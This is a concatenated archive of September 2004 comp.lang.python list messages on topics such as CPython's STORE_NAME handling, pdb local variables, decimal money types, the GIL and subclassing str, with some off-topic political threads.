Psycopg; How to detect row locking? In-Reply-To: <41582116.4090605@magproductions.nl> References: <415811D2.7070408@magproductions.nl> <41582116.4090605@magproductions.nl> Message-ID: <415821D3.6030606@magproductions.nl> Alban Hertroys wrote: > Actually I did know that, I just forgot to remember ;). I used to work > with Oracle, and it works sort of the same way. Not _at_ Oracle, mind you. Before I confuse someone. From peter at engcorp.com Wed Sep 1 18:11:15 2004 From: peter at engcorp.com (Peter Hansen) Date: Wed, 01 Sep 2004 18:11:15 -0400 Subject: ANN: YAPDL In-Reply-To: <2osh02-e6i1.ln1@eskimo.tundraware.com> References: <2osh02-e6i1.ln1@eskimo.tundraware.com> Message-ID: Tim Daneliuk wrote: > TundraWare Inc. Press Announcement > For Immediate Release > --------------------- > > Announcing: Yet Another Python Derived Language (YAPDL) > --------------------------------------------------------- I think you should reconsider the name. It could easily be confused with a popular project called YAML, and could also be pronounced "Ya-piddle" which would conflict with the Python project PIDDLE, a graphics module, which is also on Sourceforge. Sheesh... you would think these guys would have learned a lesson from others. I'm almost positive there was another thread like this just this week, but my notoriously bad memory is failing me and I don't know about things like Google which would help me supplement it... -Peter From aleaxit at yahoo.com Wed Sep 29 04:14:31 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 29 Sep 2004 10:14:31 +0200 Subject: Metaclass with name overloading. References: <1gktuz9.1ww1usisimxlgN%aleaxit@yahoo.com> Message-ID: <1gkvcv8.83ifgp1qga1qpN%aleaxit@yahoo.com> Jacek Generowicz wrote: > aleaxit at yahoo.com (Alex Martelli) writes: > > > Jacek Generowicz wrote: > > ... > > > > No, you can't, and it's not just a parser issue. Python uses > > > > direct C calls to the native dict type. It's hard coded, > > > > > > I feared this would be the case. > > > > It's not (not in 2.4 at least) > > For what definition of "hard coded" ? Is there more than one? As I already quoted on this very thread: if (PyDict_CheckExact(x)) err = PyDict_SetItem(x, w, v); else err = PyObject_SetItem(x, w, v); so, the "direct C call to the native dict type" only happens if x is exactly of that type, otherwise the generic abstract call happens instead and can deal with dispatching the functionality as needed. Basically, the PyDict_SetItem is now there, and guarded with a PyDict_CheckExact, only as an optimization: x will be of native dict type overwhelmingly often. > > -- the STORE_NAME is quite ready to find a non-dict as the frame's > > f_locals. The problem is getting your object to be used as the > > frame's f_locals in the first place -- hard but that only affects a > > few spots in ceval.c. > > So, from the perspective of trying to code it in pure Python, it _is_ > hard coded, IIUC. For some value of "it", sure, but NOT because of "direct C calls to the native dict type" spread hither and yon (as used to be the case). Rather, the issue is strictly with how a frame gets built and handled. I never claimed nothing at all is hard-coded (even in 2.4), just that the specific issue with "direct C calls" _isn't_ (in 2.4) for the case of interest (STORE_NAME opcodes' execution). > (Unfortunately, I cannot afford the luxury of playing with the Python > implementation itself; I must deliver code which works with a > bog-standard Python 2.3.4. I'd love to have the time to play with > ceval.c on my own account ... but that is another luxury I cannot > afford :-( ) If you need to support 2.3.4 and can't even consider extensions, your options are indeed severely limited -- I don't recall, but it's even possible that, for THAT release, the "direct C calls" assertion is valid (which is why I was careful to say "for 2.4 at least" every time). It matters hugely (to most would-be extenders, who could surely afford to use extensions for the purpose) whether it is or not, of course: making some kind of special-purpose frame and getting it used appropriately might be feasible, but if there are direct C calls hardwired all over the place then no solution at all is feasible _within the 2.3.* constraint_. Alex From cgibbs at kltpzyxm.invalid Fri Sep 3 19:07:04 2004 From: cgibbs at kltpzyxm.invalid (Charlie Gibbs) Date: 03 Sep 04 15:07:04 -0800 Subject: Xah Lee's Unixism References: <0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com> <8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net> <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <1n5_c.3933$lv3.1213588@news4.srv.hcvlny.cv.net> Message-ID: <611.742T245T9073454@kltpzyxm.invalid> In article <1n5_c.3933$lv3.1213588 at news4.srv.hcvlny.cv.net>, jwkenne at attglobal.net (John W. Kennedy) writes: >The Challenger seven were just as good as murdered. I prefer "sacrificed on the altar of political expediency." Recommended reading: "What Do _You_ Care What Other People Think?" by Richard P. Feynman (W.W. Norton & Company, Inc. ISBN 0-393-02659-0) -- /~\ cgibbs at kltpzyxm.invalid (Charlie Gibbs) \ / I'm really at ac.dekanfrus if you read it the right way. X Top-posted messages will probably be ignored. See RFC1855. / \ HTML will DEFINITELY be ignored. Join the ASCII ribbon campaign! From carribeiro at gmail.com Fri Sep 3 08:45:04 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Fri, 3 Sep 2004 09:45:04 -0300 Subject: shelve like interface to MySQLdb In-Reply-To: References: Message-ID: <864d370904090305454f67d388@mail.gmail.com> Brian, I wrote a short review based on my own experience selecting a ORM for a new project of mine. It's far from complete but may be useful to you. It's available at: http://pythonnotes.blogspot.com/2004/09/python-orm-tools.html On Thu, 2 Sep 2004 17:09:59 -0400, brianc at temple.edu wrote: > I've done some googling and came up empty. Is there a simple > way to create a shelve like interface to a MySQL table? The > keys would be a direct mapping to the primary key in the table. > > Also, this isn't really python related, but if I was to create > such an interface myself, what would be the optimal mysql > table type to use? InnoDB or MyISAM? > > Thanks > -Brian > -- > http://mail.python.org/mailman/listinfo/python-list > -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From fuzzyman at gmail.com Mon Sep 6 02:47:07 2004 From: fuzzyman at gmail.com (Michael Foord) Date: 5 Sep 2004 23:47:07 -0700 Subject: HTTP Authentication and realms References: <6f402501.0409041029.ff41515@posting.google.com> Message-ID: <6f402501.0409052247.63b2712@posting.google.com> Peter van Kampen wrote in message news:... > In comp.lang.python, you wrote: > > [snip] > > > The bottom line for me is that I don't actually understand what a > > realm is > > from: http://www.ietf.org/rfc/rfc2617.txt > > "[...] realms allow the protected resources on a server to be partitioned > into a set of protection spaces, each with its own authentication scheme > and/or authorization database. The realm value is a string, generally > assigned by the origin server, which may have additional semantics specific > to the authentication scheme. Note that there may be multiple challenges > with the same auth-scheme but different realms." > > > and how http does authentication beyond the first page access > - does > > it need the username and password encoded in the headers for > access to > > every page in that realm ? > > Yes (HTTP is a stateless protocol). Your browser usually remembers your > username and password for 'realms' you've already authenticated for so you > only enter is once but it sent along with each request. > > Hth, > > PterK Thanks for your help Peter. I was hoping there was some way round this - but it looks like my CGI will have to store realm-password information for each user... *rats* Thanks Fuzzy http://www.voidspace.org.uk/atlantibots/pythonutils.html From spam at nimblegen.com Fri Sep 10 15:41:51 2004 From: spam at nimblegen.com (Chuck Dillon) Date: Fri, 10 Sep 2004 14:41:51 -0500 Subject: Xah Lee's Unixism In-Reply-To: References: <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <4140688e$0$6912$61fed72c@news.rcn.com> <4140A885.90B945AC@yahoo.com> <4jkqhc.p7p1.ln@via.reistad.priv.no> <1oh3k01cieht04nmfo27pvihg8teme0mdt@4ax.com> Message-ID: Coby Beck wrote: >> >>And, of course, entertaining the possibility that his agenda is just >>what he says it is, is completely out of the question. > > > Not out of the question, be obviously untrue. Again, I'll point out that it is naive to put this entirely on the administration. We're in Iraq because we effectively declared war. The dance with the U.N. went on for some 3 months. It was clear where we were headed. Our congress, including Kerry and all of the others on the Democrat side, stood their ground. They didn't revoke the declaration. They didn't even have debates on the subject. If you condemn Bush on going into Iraq you condemn Kerry who stills says it was the right thing to do. His issue is with the details and like most political rhetoric is mostly spin to underscore the negative and downplay the positive. While we're at it, you might also consider a more strategic view of why we went to Iraq. Publicly, all you are going to hear is glowing words about the long term benefits of bringing democracy to the middle east. But that's only part of it and the governments, as well as religious leaders, in the middle east know it. If what you write below is what you really believe you aren't thinking you are just regurgitating what you hear from those you listen to the most. -- ced > > "We must invade Iraq to remove the threat of a madman with WMD" > --> Inspectors were inside Iraq looking already. > --> N. Korea was boasting about its nuclear program and firing > test missles all over the place. > --> Not a stick of said WMD has been found since invading. > > "We must save the Iraqi people from a ruthless dictator" > --> since Hussein is just one of scores of such monsters and Iraq > was the country chosen, this can not be the reason. > > "We must fight terrorism" > --> The hunt for Osama, known to be NOT IN Iraq was practically dropped > to invade Iraq. > --> Everyone outside of the Fox news network knows there was never any > link from Iraq to Osama. > --> Terrorism is now a big problem in Iraq where it was not before. > > > -- Chuck Dillon Senior Software Engineer NimbleGen Systems Inc. From barbr-en_delete_ at online.no.invalid Tue Sep 7 10:51:39 2004 From: barbr-en_delete_ at online.no.invalid (Kåre Olai Lindbach) Date: Tue, 07 Sep 2004 16:51:39 +0200 Subject: Xah Lee's Unixism References: <413af268$0$19706$61fed72c@news.rcn.com> <413c5b9c$0$19705$61fed72c@news.rcn.com> <1s4ihc.4i4.ln@via.reistad.priv.no> Message-ID: On Tue, 7 Sep 2004 14:34:32 +0100, "Alan J. Flavell" wrote: >On Tue, 7 Sep 2004, K?re Olai Lindbach wrote: > >> On Mon, 6 Sep 2004 23:55:28 +0100, "Alan J. Flavell" >> wrote: >> >> >On Tue, 7 Sep 2004, John Thingstad wrote: >> > >> >> It was the realization of www (CERN) that spawned the movement toward the >> >> Internet. >> > >> >Eh? >> >> http://www.hitmill.com/internet/web_history.asp > >> Or rather the history of Tim Berners-Lee. > >Try http://www.w3.org/History.html > >I'm sorry - I didn't really mean to trap anyone into trying to >teach Great-Uncle Alan how to suck eggs. I wasn't! I know you have been along for a long time. It was merely a link to the above www/CERN thing. I must admit I got a bit uncertain with your "Eh?". I should have done my original first reply: "Eh? to what?" ;-) >It's just that those of us who had /some/ contact with the original >developments (and mine was fairly tenuous, I confess) would have told >the story of the development of the /Internet/ quite differently. But >I leave that to other "old farts" who are already posting their >versions ;-) But can you please give some brief points. I would like to hear some more about this... >I've no disagreement that the availability of a graphical web browser >was -one- of the driving forces towards wider access to and >commercialisation of the Internet. But that didn't emerge on any kind >of scale until 1994-ish and later. I also did connections through X.25 back in late 80ties, so I know about pre-GUI stuff. >"Eternal September" dates from 1993. To toss just another data point >into the ring. Yes, I remember when we got ordinary connection at work, using GUI-browsers and stuff! -- mvh/Regards K?re Olai Lindbach (News: Remove '_delete_' and '.invalid') (HTML-written email from unknown will be discarded) From carribeiro at gmail.com Mon Sep 6 09:53:12 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Mon, 6 Sep 2004 10:53:12 -0300 Subject: Question: tools for business apps development In-Reply-To: <4139C317.2010306@cs.com> References: <4139C317.2010306@cs.com> Message-ID: <864d37090409060653202bda37@mail.gmail.com> On Sat, 04 Sep 2004 08:28:55 -0500, Robert M. Emmons wrote: > Keep in mind that it is still possible to write an XUL application with > Mozilla this way, and for example ActiveState has done this to develop > their IDE. I hadn't thought about using XUL before. I need to study it better. I have a certain prejudice against using browser based apps -- for instance, I don't like browser based Java apps. I don't know if XUL uses a similar model or not. On the other hand, I really like standard browser-based Web apps -- using CSS and Javascript and stuff like that. What I don't like is the basic sandbox model and all the security issues associated with it. I just don't feel comfortable. > I've used Tkinter which has a long history and is probably the most > portable and stable -- but I've been thinking of trying out wxWidgits. > GTK+ is really for linux only -- but there is a port to windows, and QT > -- just be careful with the liscence, it is not free when writing > commercial code. Tkinter may be good enough for my needs. I just couldn't find a good RAD style tool to use with it. I found some for wxWidgets, but none are up to my expectations now. > I can only tell you what my impression is regarding python -- it would > be good to hear from others. Most businesses probably use VB or Java > for what your talking about (or perhaps C++). I'm not trying to > encourage that -- and in fact I like and use python. I have used python > for a few applications for the business I work for -- Tkinter based and > I sued PythonWin IDE. As you say, the development tools were rather > primative -- and tkinter though claiming to be native -- is not exactly so. This is an area where the lack of strong commercial drive for Python really hurts. For all infrastructure related matters one can use Python without fear. There are plenty of tools and excellent libraries to support it. But business app development is now mostly focused towards either an MS tools based environment (VB, VC++, or C#) or Java-based tools. And I would really like to do it in Python, I think the language itself is mature and good enough for the job -- only the tools are missing. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From FBatista at uniFON.com.ar Wed Sep 29 13:52:06 2004 From: FBatista at uniFON.com.ar (Batista, Facundo) Date: Wed, 29 Sep 2004 14:52:06 -0300 Subject: multiple instance on Unix Message-ID: [Nigel King] #- I have (my son has!) implemented protection against multiple #- instances #- causing havoc by creating a directory. This fails if it #- exists and thus #- in a single instruction one gets both the acquire and the test. Multiple instances of objects? Multiple instances of processes? I needed to not have the same process twice and wrote the following: def controlSimult(coderr=-1): """Function that verifies that there's not other process (of itself) already in memory.""" # do a ps (stdin, stdout) = os.popen4('ps -eaf') ps = stdout.readlines() # search instances of ourselves abuscar = sys.executable + ' ' + sys.argv[0] coinc = [x[:-1] for x in ps if x.find(abuscar) != -1] # there's more than us-now? if len(coinc) > 1: print "There're more simultaneously in memory:" # show only that are not us ownpid = os.getpid() print '\n'.join([x for x in coinc if int(x.split()[1]) != ownpid]) sys.exit(coderr) return There's a better way? . Facundo -------------- next part -------------- An HTML attachment was scrubbed... URL: From ville at spammers.com Tue Sep 28 16:39:33 2004 From: ville at spammers.com (Ville Vainio) Date: 28 Sep 2004 23:39:33 +0300 Subject: Python on HPUX depot file? References: Message-ID: >>>>> "Stephen" == Stephen Boulet writes: Stephen> I'm looking to install python on hpux 10.2. Anyone know of a site Stephen> hosting a depot file of a recent python? Thanks. http://hpux.cs.utah.edu/hppd/hpux/Languages/python-2.3.3/ Has a version for later HP-UXen at least, and a general source package. Haven't tried that version. Back in the day of Python 2.1, when I was still dealing w/ some hp-ux machines (can't say I miss those), we ended up compiling Python from the stock python source because the porting archive version had threading disabled. -- Ville Vainio http://tinyurl.com/2prnb From fredrik at pythonware.com Wed Sep 22 02:59:08 2004 From: fredrik at pythonware.com (Fredrik Lundh) Date: Wed, 22 Sep 2004 08:59:08 +0200 Subject: OT: regex to find email References: Message-ID: Jorgen Grahn wrote: > I've seen no references to RFC 2822 in this thread ... please note that what > all these regexes catch is unlikely to be exactly the set of all valid RFC > 2822 addresses. the perl faq is also required reading: http://www.perldoc.com/perl5.6/pod/perlfaq9.html#How-do-I-check-a-valid-mail-address- Q. How do I check a valid mail address? A. You can't, at least, not in real time. Bummer, eh? Without sending mail to the address and seeing whether there's a human on the other hand to answer you, you cannot determine whether a mail address is valid. what morally sound reasons are there to scrape mail addresses from text documents, btw? From http Fri Sep 24 03:57:10 2004 From: http (Paul Rubin) Date: 24 Sep 2004 00:57:10 -0700 Subject: Why not FP for Money? References: <10l0lpt9n0n5k9c@news.supernews.com> <4t33l0h66h171hcb6riu97s55pj0860hdf@4ax.com> <1gkm1wt.1twm02s1cr3m7hN%aleaxit@yahoo.com> Message-ID: <7xk6ukw149.fsf@ruckus.brouhaha.com> aleaxit at yahoo.com (Alex Martelli) writes: > > A native Money type, either with the $ signal ($35.72) or the suffix > > (35.72D) would not present the same issues, because the literal would > > Right, but in practice I find that: > > def d(x): return decimal.Decimal(str(x)) > > appears to work pretty well, judging from early experimentation. Hmm. What does d(35.72) give you? The same thing as d('35.72')? Either answer is arguably wrong. From aleaxit at yahoo.com Mon Sep 20 17:26:09 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Mon, 20 Sep 2004 23:26:09 +0200 Subject: Economic considerations References: <2qq5adF133c5kU1@uni-berlin.de> <1gk5wxv.1rnwtamytx5m5N%aleaxit@yahoo.com> Message-ID: <1gkfq2o.1tadjtapfu6mgN%aleaxit@yahoo.com> Jorge Godoy wrote: > Interesting. And what kind of printer has Pantone support built in? I Many good color printers are Pantone(TM)-Calibrated. Check out and you'll be able to download Pantone printer profiles, to use with either Apple or MS color management systems, for a variety of models from all the most popular printer manufacturers (and then some). Alex From mark at prothon.org Tue Sep 7 03:21:18 2004 From: mark at prothon.org (Mark Hahn) Date: Tue, 7 Sep 2004 00:21:18 -0700 Subject: Anyone know anything named DX? (was Re: Announcing PyCs) (was:Announcing PyCs, a new Python-like language on .Net) References: <20040901221925.2128958333.EP@zomething.com> <413D5007.3F07CE2F@alcyone.com> Message-ID: <1xy1je0dbdsj3.17x6mukcajk9p.dlg@40tude.net> On Mon, 06 Sep 2004 23:07:03 -0700, Erik Max Francis wrote: > Did Google stop working suddenly? I googled at length and missed Data Explorer for "dx". It came in way to far down in the list, even when I added "software" and/or "language". I didn't find it until I put in "data explorer". I have found that no matter how hard I try people here seem better at remembering things than my googling. Do you think I am misusing the list? From zanesdad at bellsouth.net Fri Sep 17 09:03:25 2004 From: zanesdad at bellsouth.net (Jeremy Jones) Date: Fri, 17 Sep 2004 09:03:25 -0400 Subject: changing local variable values in python debugger In-Reply-To: References: Message-ID: <414AE09D.3050607@bellsouth.net> I've been googling for a couple of days regarding the Python debugger and haven't found an answer. Is there any way to modify a local variable in the Python debugger (pdb)? Given the following (totally contrived, for example only) Python file: #!/usr/bin/env python import pdb f = 'aaa' def b(f): print f def main(): global f for f in ['a', 'b', 'c']: if f == 'd': b(f) if __name__ == "__main__": pdb.run('main()') I can modify global f like this (so that method b() will be called): [jmjones at qatestrunner debugger]$ python dbg_test.py > (1)?() (Pdb) s --Call-- > /home/jmjones/src/py_test/debugger/dbg_test.py(10)main() -> def main(): (Pdb) l 1, 20 1 #!/usr/bin/env python 2 3 import pdb 4 f = 'aaa' 5 6 def b(f): 7 print f 8 9 10 -> def main(): 11 global f 12 for f in ['a', 'b', 'c']: 13 if f == 'd': 14 b(f) 15 16 if __name__ == "__main__": 17 pdb.run('main()') [EOF] (Pdb) b 12 Breakpoint 1 at /home/jmjones/src/py_test/debugger/dbg_test.py:12 (Pdb) c > /home/jmjones/src/py_test/debugger/dbg_test.py(12)main() -> for f in ['a', 'b', 'c']: (Pdb) f 'aaa' (Pdb) s > /home/jmjones/src/py_test/debugger/dbg_test.py(13)main() -> if f == 'd': (Pdb) f 'a' (Pdb) global f; f = 'd' (Pdb) f 'd' (Pdb) s > /home/jmjones/src/py_test/debugger/dbg_test.py(14)main() -> b(f) (Pdb) s --Call-- > /home/jmjones/src/py_test/debugger/dbg_test.py(6)b() -> def b(f): (Pdb) However, if I modify the source file so f is not a global, like this: #!/usr/bin/env python import pdb def b(f): print f def main(): for f in ['a', 'b', 'c']: if f == 'd': b(f) if __name__ == "__main__": pdb.run('main()') How do I modify f? Here's my attempt (and global doesn't work here and shouldn't since it's not global in this example): [jmjones at qatestrunner debugger]$ python dbg_test.py > (1)?() (Pdb) s --Call-- > /home/jmjones/src/py_test/debugger/dbg_test.py(9)main() -> def main(): (Pdb) l 1, 20 1 #!/usr/bin/env python 2 3 import pdb 4 5 def b(f): 6 print f 7 8 9 -> def main(): 10 for f in ['a', 'b', 'c']: 11 if f == 'd': 12 b(f) 13 14 if __name__ == "__main__": 15 pdb.run('main()') [EOF] (Pdb) b 11 Breakpoint 1 at /home/jmjones/src/py_test/debugger/dbg_test.py:11 (Pdb) c > /home/jmjones/src/py_test/debugger/dbg_test.py(11)main() -> if f == 'd': (Pdb) f 'a' (Pdb) f = 'd' (Pdb) f 'a' (Pdb) global f; f = 'd' (Pdb) f 'a' (Pdb) -------------- next part -------------- An HTML attachment was scrubbed... URL: From anna at aleax.it Sat Sep 25 05:19:43 2004 From: anna at aleax.it (Anna Martelli Ravenscroft) Date: Sat, 25 Sep 2004 09:19:43 GMT Subject: Math errors in python In-Reply-To: <4idsk05571b00lejtecoglpbq3etj9aj4l@4ax.com> References: <4idsk05571b00lejtecoglpbq3etj9aj4l@4ax.com> Message-ID: Radioactive Man wrote: > Thanks to all for info here. Sorry for inadvertently creating such a > long thread. > Please don't feel you need to apologize. These guys enjoy discussing such abstract, theoretical complexities - that's why they're so good at what they do! Hope that you did get your question answered along the way. If you have more questions, please post them. You may also consider posting to the Python Tutor mailing list , where they are geared more specifically to answering newbie questions (rather than debating the intricacies of Pi). Welcome and enjoy Python! Anna -- Whaddya mean - Pie are squared? Pie aren't square - pie are round. *Cake* are square. From danny_shevitz at yahoo.com Fri Sep 24 17:52:04 2004 From: danny_shevitz at yahoo.com (danny) Date: 24 Sep 2004 14:52:04 -0700 Subject: inelegance in calling dynamically created class methods from scripting level References: <41520909$1_5@news3.es.net> Message-ID: <85bc2819.0409241352.6b39db2f@posting.google.com> thanks for your help. Your code works. I guess the realization is that fun(self,*args) really is identical to self.fun(*args). An ordinary function called with the former syntax still works even if it really isn't an instance method. Danny From stefan at eischet.com Wed Sep 15 17:30:23 2004 From: stefan at eischet.com (Stefan Eischet) Date: Wed, 15 Sep 2004 23:30:23 +0200 Subject: .py as executable extension on windows In-Reply-To: References: Message-ID: <738B0196-075E-11D9-9021-000A95857E5C@eischet.com> Or try "sometool.py param1 param2"! Works fine for me. Stefan On 15.09.2004, at 22:54, aurora wrote: > Some useful information in Windows faq > > http://www.python.org/doc/faq/windows.html#how-do-i-make-python- > scripts-executable > > > On Wed, 15 Sep 2004 22:30:33 +0200, Achim Domma (Procoders) > wrote: > >> Hi, >> >> is there a way to tell windows, that *.py files are executable, like >> .bat, .js, ...? If I have someTool.py somewhere in my path I would >> like to type only 'someTool param1 param2'. Is that possible? >> >> regards, >> Achim > > -- > http://mail.python.org/mailman/listinfo/python-list > > From skip at pobox.com Tue Sep 7 23:18:23 2004 From: skip at pobox.com (Skip Montanaro) Date: Tue, 7 Sep 2004 22:18:23 -0500 Subject: %a format In-Reply-To: <20040907182925.GA27643@grulic.org.ar> References: <20040907182925.GA27643@grulic.org.ar> Message-ID: <16702.31231.729497.762006@montanaro.dyndns.org> John> Is there any reason python's printf-style formatting is missing John> the (C99) '%a' specifier? I suspect because nobody's implemented it yet, most likely because nobody's needed it. (Yours is the first mention I've seen of it.) Python's C implementation currently supports C89, not C99, and since %a is apparently a new thing, it's not all that surprising the Python doesn't yet support it. Can you provide a patch against Objects/stringobject.c in the distribution? Note that Python uses sprintf() to do its dirty work, so any patch would have to implement %a itself to remain compatible with C89. Skip From wyrmwif at tango-sierra-oscar-foxtrot-tango.fake.org Thu Sep 2 22:49:43 2004 From: wyrmwif at tango-sierra-oscar-foxtrot-tango.fake.org (SM Ryan) Date: Fri, 03 Sep 2004 02:49:43 -0000 Subject: Xah Lee's Unixism References: Message-ID: <10jfmu7k2c7c18a@corp.supernews.com> "Karl A. Krueger" wrote: # In comp.lang.lisp Pascal Bourguignon wrote: # > "John Thingstad" writes: # >> Note the Mac OS 10 / Darwin uses a unix kernel because of all the # >> problems with interoperabillity OS 9 had with talking to Windows and # >> Unix boxes. # > # > No that's not the reason. The reason is ONLY because of the lack of # > virtual memory management (with separation of addressing spaces for # > processes) in MacOS. # # It was my impression that the Motorola 68000 CPU, upon which the # original Macintosh was based, did not support memory management in # hardware. At least, that's usually given as the reason that portable # Unix systems such as NetBSD will "never" run on the earlier 68k (or, # for that matter, 8086 or 80286) chips. It needed an extra chip until about the 68020. Mac system 7 had a form of virtual memory; there are Linux and BSD versions that are advertised to run on the 68020 or later. MacOSX still has cruft from 1984 system 1, but now it's the outer layers on top of the Unix kernel calls instead of Posix functions layered on top of cruft. -- SM Ryan http://www.rawbw.com/~wyrmwif/ Raining down sulphur is like an endurance trial, man. Genocide is the most exhausting activity one can engage in. Next to soccer. From joewong at mango.cc Fri Sep 24 00:12:44 2004 From: joewong at mango.cc (Joe Wong) Date: Fri, 24 Sep 2004 12:12:44 +0800 Subject: Access to MS SQL from Linux? References: <002501c4a14b$77fe4c30$7f00a8c0@scl01.siliconcreation.com> <4a0cafe204092320524141f844@mail.gmail.com> Message-ID: <01c301c4a1ec$bed1f0c0$7f00a8c0@scl01.siliconcreation.com> Hi Josh, I haven't yet go to study the details, will let you know as soon as I get more details for you. :) - Joe ----- Original Message ----- From: "Josh Close" To: "PYTHON" Sent: Friday, September 24, 2004 11:52 AM Subject: Re: Access to MS SQL from Linux? > On Thu, 23 Sep 2004 16:58:16 +0800, Joe Wong wrote: > > Sybase.DatabaseError: Msg 2, Level 5701, Line 1851877443 > > > > I am using MSSQL 2000 server, is this a problem? > > > > What is your code for Sybase? I have it working just fine, and it's > the best module I've found that's free. > > Freetds is a complete pile though. I run into freedtds errors > constantly..... I think the problem is actually mssql, and freetds > can't handle all the crazy random things it does to prevent non-M$ > products from using it....... oh well. > > -Josh > -- > http://mail.python.org/mailman/listinfo/python-list > --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.768 / Virus Database: 515 - Release Date: 2004/9/22 From peter at engcorp.com Tue Sep 28 17:16:03 2004 From: peter at engcorp.com (Peter Hansen) Date: Tue, 28 Sep 2004 17:16:03 -0400 Subject: using threads with for-loops In-Reply-To: References: <3e96ebd7.0409280711.42ef328b@posting.google.com> Message-ID: Mathias Waack wrote: > I haven't seen such implementation and don't know much > about the thread-layer of Python. Unfortunately, there is something called the Global Interpreter Lock (GIL), which means that even though native threads are (generally) used for Python threads, only one of those threads can be active in the interpreter at any time, even if there are multiple CPUs present. > Depends. Which means: don't know. If I would start thinking about > creating threads to gain a speedup, I would even think about > switching to another programming language. I believe some work has been done in this area to make Python take advantage of multiple CPU systems, but I believe your approach (switch languages) is still one of the best options. Another is to arrange your application to run as multiple processes, but this isn't quite as simple as just using multiple threads. -Peter From aleaxit at yahoo.com Sat Sep 4 05:00:31 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sat, 4 Sep 2004 11:00:31 +0200 Subject: explainations about standard library and modules in Python. References: <41376D33.1030405@sympatico.ca> Message-ID: <1gjk2n4.91l6e814tvel9N%aleaxit@yahoo.com> Colin J. Williams wrote: ... > > My question is that, can anyone recommend me any book, or online materials that could explain what the functions some of the modules in the standard library can do that are packaged along with Python v. 2.3.4?. For ... > For someone who has previous programming experience, Alex Martelli's > Python in a Nutshell is an excellent reference. Thanks Colin, your usual agent's fee will be forthcoming of course (now wouldn't be funny if I mistakenly posted this to the whole list instead of privately to you, ha ha, no chance of course I'd so such a mistake!). Alex From db3l at fitlinxx.com Thu Sep 2 09:56:58 2004 From: db3l at fitlinxx.com (David Bolen) Date: 02 Sep 2004 09:56:58 -0400 Subject: about presicion References: <1gjfjq0.1bpe86xzyakjcN%aleaxit@yahoo.com> Message-ID: Andrew Durdin writes: > On Wed, 1 Sep 2004 11:15:29 +0200, Alex Martelli wrote: > > mensanator at aol.com wrote: > > ... > > > > I predict no need for tweaking. I'm not sure what the support for the > > MS SDK compiler is currently -- maybe somebody with more current Windows > > knowledge can chime in? It used to be that the free C compiler had no > > optimization, thus the resulting gmpy would be substantially slower, but > > I don't even know if that is still currently the case or not. > > No: "Microsoft C/C++ Optimizing Compiler and Linker. These are the > same compiler and linker that ship with Visual Studio .NET 2003 > Professional!" Yes, but the next bullet on the MS site says: C Runtime Library and the C++ Standard Library, including the Standard Template Library. These are the same static-link libraries included with Visual Studio. Note the "static-link" part. I don't believe the free compiler comes with support for building dynamically linked (to the C library) applications, which is what Python extensions are. -- David From http Mon Sep 13 13:45:51 2004 From: http (Paul Rubin) Date: 13 Sep 2004 10:45:51 -0700 Subject: MD5 and SHA cracked/broken... References: Message-ID: <7x3c1mjc4w.fsf@ruckus.brouhaha.com> Michael Hudson writes: > > An algorithm has been published that makes it easier than it should be > > to find collisions in MD5. > > Has the algorithm been published? I think they're still working on the paper. They talked about it some at Crypto 2004 but I wasn't there. It was hard for anyone to understand because of language difficulties. From grante at visi.com Sat Sep 11 11:32:37 2004 From: grante at visi.com (Grant Edwards) Date: 11 Sep 2004 15:32:37 GMT Subject: little problem with list.reverse() function References: Message-ID: <41431a95$0$65567$a1866201@newsreader.visi.com> On 2004-09-11, manuel wrote: > >>> a = [[1,2],[2,3],[4,5]] > >>> print a > [[1, 2], [2, 3], [4, 5]] > >>> print a.reverse() > None > >>> >>> a = [[1,2],[2,3],[4,5]] >>> print a [[1, 2], [2, 3], [4, 5]] >>> a.reverse() >>> print a [[4, 5], [2, 3], [1, 2]] >>> -- Grant Edwards grante Yow! If I felt any more at SOPHISTICATED I would DIE visi.com of EMBARRASSMENT! From p at ulmcnett.com Wed Sep 15 23:26:14 2004 From: p at ulmcnett.com (Paul McNett) Date: Wed, 15 Sep 2004 20:26:14 -0700 Subject: i am going to get crazy!!! In-Reply-To: <864d370904091505334d4227d9@mail.gmail.com> References: <4a9d4c93.0409141615.1d1ab0cb@posting.google.com> <864d370904091505334d4227d9@mail.gmail.com> Message-ID: <200409152026.14851.p@ulmcnett.com> Carlos Ribeiro writes: > However, I *have* to point out something that I just realized > after debating the whole IDE issue over the past few days. > One of the things that many IDE-type programmers miss is not > the IDE itself... but a common framework to develop new > applications. Good IDEs go a step beyond code editing, and > are very well integrated with a framework for application > development. They will automatically generate much of the > code that is needed to start the design of a new application. > Many business programmers love this stuff, as it frees them > from thinking about event loops, message handling, etc -- and > allows them to focus on the form design and business logic > (that's whats business programming is really about). Carlos, I've been reluctant to post anything because all I have to offer is vaporware at the moment, but everything you have said you want, we want too, and plan on putting into our product, "Dabo", which we hope to have a 1.0 of by year-end 2005. That may be too ambitious, but if you ignore the fact that there is no IDE and no report writer yet, it is already quite capable. http://dabodev.com 3-tier business app development framework and IDE. -- Paul McNett Independent Software Consultant http://www.paulmcnett.com From thomas.lotze at gmx.net Tue Sep 14 08:56:23 2004 From: thomas.lotze at gmx.net (Thomas Lotze) Date: Tue, 14 Sep 2004 14:56:23 +0200 Subject: subclassing str Message-ID: Hi, first of all, cheers to everyone, this is my first clp posting. For an application, I need a special string-like object. It has some specific semantics and behaves almost like a string, the only difference being that it's string representation should be somewhat fancy. I want to implement it as a subclass of str: class SpecialString(str): whatever Using instances x = SpecialString('foo') y = SpecialString(x) I want to get this behaviour: str(x) => '(foo)' str(y) => '(foo)' That is, I want to be able to make a SpecialString from anything that has a string representation, but at the same time leave a SpecialString untouched in the process. After all, it already is and gets formatted as a SpecialString. I tried 